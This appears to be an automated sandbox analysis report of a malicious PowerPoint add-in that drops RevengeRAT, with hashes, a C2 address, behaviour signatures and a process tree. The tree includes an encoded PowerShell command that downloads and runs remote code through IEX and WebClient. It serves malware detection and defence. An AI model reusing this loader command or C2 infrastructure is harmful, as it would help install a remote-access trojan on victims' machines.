Analysis

  • max time kernel
    134s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    28-08-2024 02:33

General

  • Target

    fc0a96e635fa296eedf0e58cd84ec60e267dd5008e6129449ed62993e00c2e38.ppam

  • Size

    23KB

  • MD5

    855e7ea279a05bb5fa3551d56a830a1b

  • SHA1

    a22cda2ccd4a95a8ccd1510d2f2e7f3d7111d0ae

  • SHA256

    fc0a96e635fa296eedf0e58cd84ec60e267dd5008e6129449ed62993e00c2e38

  • SHA512

    0e8e722ff0f703f74712a79cf4d156ebd1cf5c6731c07589965b058641881e75765b324d29cec1b11b07e88e7080b644d030ece1faaa8675607d462cceb63e8f

  • SSDEEP

    384:dXPcqNJ0PQPGKRrznsrD9t9WrXcuikodj6WG6XRV+7AkmgcsdzJY9t9rqrw13rtr:VPc8GK9n49KDcPkmODMw71msfYVrhBV

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.228.165.84:3333

Mutex

788bf014999d4ae8929

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\fc0a96e635fa296eedf0e58cd84ec60e267dd5008e6129449ed62993e00c2e38.ppam"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1512
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2256
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2072
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1656

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1512-14-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/1512-18-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/1512-2-0x0000000072B6D000-0x0000000072B78000-memory.dmp

      Filesize

      44KB

    • memory/1512-3-0x0000000005BC0000-0x0000000005CC0000-memory.dmp

      Filesize

      1024KB

    • memory/1512-9-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/1512-11-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/1512-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1512-19-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/1512-0-0x000000002D3E1000-0x000000002D3E2000-memory.dmp

      Filesize

      4KB

    • memory/1512-10-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/1512-20-0x0000000072B6D000-0x0000000072B78000-memory.dmp

      Filesize

      44KB

    • memory/1512-21-0x0000000005BC0000-0x0000000005CC0000-memory.dmp

      Filesize

      1024KB

    • memory/1512-22-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/1512-51-0x0000000072B6D000-0x0000000072B78000-memory.dmp

      Filesize

      44KB

    • memory/1512-50-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1656-47-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1656-41-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1656-37-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1656-39-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1656-43-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1656-48-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1656-45-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/1656-46-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2072-32-0x0000000002420000-0x0000000002438000-memory.dmp

      Filesize

      96KB

    • memory/2072-25-0x0000000002420000-0x0000000002438000-memory.dmp

      Filesize

      96KB

    • memory/2072-30-0x0000000002420000-0x0000000002438000-memory.dmp

      Filesize

      96KB

    • memory/2072-26-0x0000000002420000-0x0000000002438000-memory.dmp

      Filesize

      96KB

    • memory/2072-28-0x0000000002420000-0x0000000002438000-memory.dmp

      Filesize

      96KB

    • memory/2072-36-0x0000000002420000-0x0000000002438000-memory.dmp

      Filesize

      96KB

    • memory/2072-34-0x0000000002420000-0x0000000002438000-memory.dmp

      Filesize

      96KB